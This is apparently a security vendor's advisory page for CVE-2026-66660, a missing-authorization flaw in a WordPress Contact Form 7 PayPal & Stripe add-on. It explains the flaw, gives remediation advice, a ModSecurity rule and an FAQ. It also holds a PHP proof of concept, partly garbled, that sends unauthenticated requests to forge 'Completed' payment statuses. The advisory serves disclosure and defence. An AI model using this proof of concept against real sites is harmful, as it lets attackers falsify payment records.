{
“analysis”: “Atomic Edge analysis of CVE-2026-66660 (metadata-based): The Contact Form 7 – PayPal & Stripe Add-on for WordPress, versions up to and including 2.5.1, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact and no confidentiality or availability impact.nnThe root cause is a missing capability check on a function, classified as CWE-862 Missing Authorization. Atomic Edge analysis infers that the vulnerable code likely includes an AJAX handler or admin-post action that lacks a current_user_can() check. This is confirmed by the description stating there is a missing capability check. Without code access, the exact hook or function name cannot be confirmed, but the pattern is typical of WordPress plugins that register an action via add_action(‘wp_ajax_…’) or add_action(‘wp_ajax_nopriv_…’) and process requests without verifying user permissions.nnExploitation occurs through unauthenticated HTTP requests to the vulnerable endpoint. Common endpoints are /wp-admin/admin-ajax.php or /wp-admin/admin-post.php. The attacker sends a POST request with an action parameter that matches the plugin’s registered hook. For example, an attacker might call admin-ajax.php with action=cf7pp_update_payment_status and supply parameters like payment_status or transaction details. Because the missing capability check permits nopriv access, the request succeeds without authentication. The request likely includes only the action and pertinent data, with no nonce or with an ignored nonce.nnRemediation requires adding proper authorization checks to the vulnerable callback function. The plugin must verify the current user has the required capability before processing the request, using current_user_can() or a specific capability like manage_options. Additionally, the plugin should verify a valid nonce for state-changing actions. Since the plugin is closed or unmaintained, applying the patch by the vendor may not be possible. Site owners should remove the plugin or implement a web application firewall rule to block unauthenticated requests to the vulnerable endpoint.nnImpact: An unauthenticated attacker can trigger the vulnerable function, leading to unauthorized actions. The CVSS indicates low integrity impact. Based on the plugin’s purpose (PayPal and Stripe payment handling), the unauthorized action could modify payment statuses, payment logs, or transaction settings. This could result in incorrect payment records, disrupted order processing, or configuration changes. The attack does not directly expose sensitive data or allow privilege escalation.”,
poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-66660 – Contact Form 7 – PayPal & Stripe Add-on ‘cf7pp_paypal_ipn’, // Inferred possible action; adjust as neededn ‘payment_status’ => ‘Completed’,n ‘txn_id’ => ‘TEST123’,n ‘custom’ => ‘1’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(n ‘Content-Type: application/x-www-form-urlencoded’,n ‘User-Agent: AtomicEdge-PoC’n));nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnecho “HTTP Code: . $http_code . “\n”;necho “Response: ” . $response . “\n”;n// A successful unauthenticated execution may return a non-error response or a 200 OK.n// Blocked access would return a 403 or redirect to login.n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-66660 (metadata-based)n# Blocks unauthenticated access to the Contact Form 7 – PayPal & Stripe Add-on AJAX endpointsn# by requiring the action parameter and blocking known nopriv actions.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20266660,phase:2,deny,status:403,chain,msg:’CVE-2026-66660 via CF7 PayPal/Stripe AJAX action’,severity:’CRITICAL’,tag:’CVE-2026-66660′,tag:’wordpress’,tag:’cf7-paypal-add-on'”n SecRule ARGS_POST:action “@pm cf7pp_paypal_ipn cf7pp_validate_payment cf7pp_save_transaction” “chain”n SecRule REQUEST_HEADERS:Authorization “@rx ^$” “t:none”n
CVE-2026-66660: Contact Form 7 – PayPal & Stripe Add-on <= 2.5.1 Missing Authorization PoC, Patch Analysis & Rule
CVE-2026-66660
contact-form-7-paypal-add-on
2.5.1
—
Analysis Overview
Frequently Asked Questions
What is CVE-2026-66660?
Vulnerability overviewCVE-2026-66660 is a missing authorization vulnerability in the Contact Form 7 – PayPal & Stripe Add-on plugin for WordPress, affecting versions up to and including 2.5.1. It allows unauthenticated attackers to perform unauthorized actions due to a missing capability check on a function. The severity is rated Medium with a CVSS score of 5.3.
How does the vulnerability work?
Technical explanationThe plugin registers an AJAX or admin-post action without verifying user permissions. An attacker can send a crafted HTTP request to endpoints like /wp-admin/admin-ajax.php with the appropriate action parameter, triggering the vulnerable function without authentication. This is possible because the function lacks a capability check, such as current_user_can(), and may also lack nonce verification.
Who is affected by this vulnerability?
Affected usersAny WordPress site running the Contact Form 7 – PayPal & Stripe Add-on plugin version 2.5.1 or earlier is affected. Since the plugin appears to be closed or unmaintained, all sites using these versions are at risk. Site administrators should check their plugin version and take immediate action.
How can I check if my site is vulnerable?
Detection stepsGo to the WordPress admin dashboard, navigate to Plugins, and look for ‘Contact Form 7 – PayPal & Stripe Add-on’. Check the version number displayed. If it is 2.5.1 or lower, your site is vulnerable. You can also use security scanning tools that detect known CVEs to confirm.
What is the practical risk of this vulnerability?
Impact assessmentThe CVSS vector indicates low integrity impact with no confidentiality or availability impact. An attacker could modify payment statuses, transaction logs, or settings, potentially disrupting payment processing and causing incorrect records. However, it does not lead to data theft or privilege escalation.
How does the proof of concept (PoC) demonstrate the issue?
PoC explanationThe PoC sends a POST request to admin-ajax.php with an action parameter like ‘cf7pp_paypal_ipn’ and payment data. Since the vulnerable function lacks authorization, the request is processed without authentication. A successful exploit returns a 200 OK response, while a patched site would return a 403 or redirect to login.
Is there a patch available for this vulnerability?
Patch statusAs of the disclosure date, no patch is available because the plugin appears to be closed or unmaintained. The vendor has not released a fixed version. Site owners should consider removing the plugin or implementing alternative security measures to mitigate the risk.
What should I do if I cannot update or remove the plugin?
Mitigation without patchIf you must keep the plugin, implement a web application firewall (WAF) rule to block unauthenticated requests to the vulnerable endpoints. The provided ModSecurity rule can be adapted for your WAF. Additionally, restrict access to admin-ajax.php for unauthenticated users if possible, but be cautious as this may affect other functionality.
How can I fix the vulnerability in the plugin code?
Manual code fixIf you have developer access, locate the vulnerable function and add a capability check using current_user_can() with an appropriate capability like ‘manage_options’. Also, verify nonces for state-changing actions. However, modifying plugin code may be overwritten on updates, and since the plugin is unmaintained, this is a temporary solution.
What is the CVSS score and what does it mean?
Severity interpretationThe CVSS score is 5.3, which is Medium severity. This indicates the vulnerability is moderately serious. The vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N means it is remotely exploitable without authentication, but the impact is limited to low integrity. It should be addressed promptly but may not be as critical as high-severity issues.
Are there any indicators of compromise (IOCs) to look for?
Detection of exploitationLook for unusual entries in server logs, such as POST requests to admin-ajax.php with action parameters like ‘cf7pp_paypal_ipn’ from unauthenticated sources. Also, check for unexpected changes in payment statuses or transaction records. However, since the attack may not leave obvious traces, proactive monitoring is recommended.
What is the best long-term solution for this vulnerability?
Recommended actionThe most secure approach is to deactivate and delete the plugin, then find an alternative that is actively maintained and patched. If you rely on its functionality, consider using a different payment add-on for Contact Form 7 that has a good security track record. Regularly update all plugins and themes to reduce risk.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations
